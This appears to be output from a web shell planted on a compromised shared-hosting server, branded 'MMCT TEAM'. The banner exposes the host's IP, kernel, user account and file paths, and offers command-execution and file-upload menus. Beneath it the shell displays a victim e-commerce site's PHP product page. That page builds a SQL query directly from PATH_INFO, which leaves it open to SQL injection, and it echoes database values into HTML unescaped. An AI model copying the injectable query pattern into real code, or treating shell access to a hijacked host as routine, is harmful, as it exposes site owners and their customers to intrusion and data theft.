MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.222.98.29
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/.htpasswds/../aanuwoolenenterprises.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/.htpasswds/../aanuwoolenenterprises.com/product-detail.php
<?php
    include_once('admin/config.php');
    $slug_name = $_GET['slug_link'];
    if(isset($_SERVER['PATH_INFO'])){
    $slug_name=$_SERVER['PATH_INFO'];
    $querydt="SELECT * FROM `tbl_product` WHERE slug_link='$slug_name'";
    $rundt = mysqli_query($db,$querydt) or die("Query Not run");
    $datadt = mysqli_fetch_assoc($rundt);
 }
?>
<!DOCTYPE html>
<html lang="zxx">
<head>
    <meta charset="UTF-8">
    <title><?php echo $datadt["meta_title"];?></title>
    <meta name="description" content="<?php echo $datadt["meta_desc"];?>">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <?php include 'top-link.php';?>
    <style>
        .image-gallery {
            /*display: flex;*/
            /*flex-direction: row;*/
            /*justify-content: center;*/
            /*align-items: center;*/
        }

        .thumbnail {
            cursor: pointer;
            margin: 10px 0;
            display: flex;
            align-items: center;
        }

        .thumbnail img {
            max-width: 70px;
            height: auto;
        }

        .main-image {
            margin-right: 20px;
        }

        .main-image img {
            max-width: 240px;
            height: auto;
        }
        @media screen and (max-width: 768px) {
            .image-gallery {
                display: flex;
            flex-direction: row;
            justify-content: center;
            align-items: center;
            }

            .thumbnail {
                margin: 20px 10px;
            }

            .main-image {
                margin-top: 0;
            }
        }
    </style>
</head>

<body>
<?php include 'header.php';?>
<div class="breacrumb-section">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
                    <div class="breadcrumb-text">
                        <a href="index.php"><i class="fa fa-home"></i> Home</a>
                        <span>Women's Woolen Clothing</span>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <section class="product-detail">
        <div class="container">
            <div class="row">
                <div class="main-image">
                    <img id="mainImage" src="<?php echo $wspath;?>admin/images/<?php echo $datadt["img_1"];?>" alt="<?php echo $datadt["img_1"];?>">
                </div>
                
                <div class="image-gallery">
                    <div class="thumbnail" onclick="changeImage('<?php echo $datadt["img_1"];?>')">
                        <img src="<?php echo $wspath;?>admin/images/<?php echo $datadt["img_1"];?>" alt="<?php echo $datadt["img_1"];?>">
                    </div>
                    <div class="thumbnail" onclick="changeImage('<?php echo $datadt["img_2"];?>')">
                        <img src="<?php echo $wspath;?>admin/images/<?php echo $datadt["img_2"];?>" alt="<?php echo $datadt["img_2"];?>">
                    </div>
                    <div class="thumbnail" onclick="changeImage('<?php echo $datadt["img_3"];?>')">
                        <img src="<?php echo $wspath;?>admin/images/<?php echo $datadt["img_3"];?>" alt="<?php echo $datadt["img_3"];?>">
                    </div>
                </div>
                
                
                
                
                <div class="col-md-6">
                    <div class="detail-box">
                        <h3>Women's Woolen Clothing</h3>
                        <p>Art Number : <span><b><?php echo $datadt["en_name"];?></b></span></p>
                        <p>Sizes : <span><b><?php echo $datadt["sizes"];?></b></span></p>
                        <p>Length : <span><b><?php echo $datadt["length"];?></b></span></p>
                        <p>Width : <span><b><?php echo $datadt["width"];?></b></span></p>
                        <h4>MRP : <span><b>₹ <?php echo $datadt["mrp"];?></b></span></h4>
                        <form action="<?php echo $wspath?>enquiry.html" method="post">
                            <input name="art_no" type="hidden" value="<?php echo $datadt["en_name"];?>">
                            <input name="sizes" type="hidden" value="<?php echo $datadt["sizes"];?>">
                            <input name="length" type="hidden" value="<?php echo $datadt["length"];?>">
                            <input name="width" type="hidden" value="<?php echo $datadt["width"];?>">
                            <input name="mrp" type="hidden" value="<?php echo $datadt["mrp"];?>">
                            <button type="submit" name="submit" class="btn btn-enq">Enquiry Now</button>
                        </form>
                       
                    </div>
                </div>
            </div>
        </div>
    </section>
    <script>
        function changeImage(imageName) {
            const mainImage = document.getElementById('mainImage');
            mainImage.src = "<?php echo $wspath;?>admin/images/" + imageName;
            mainImage.alt = imageName;
        }
    </script>

<?php include 'footer.php';?>
</body>
</html>

MMCT - 2023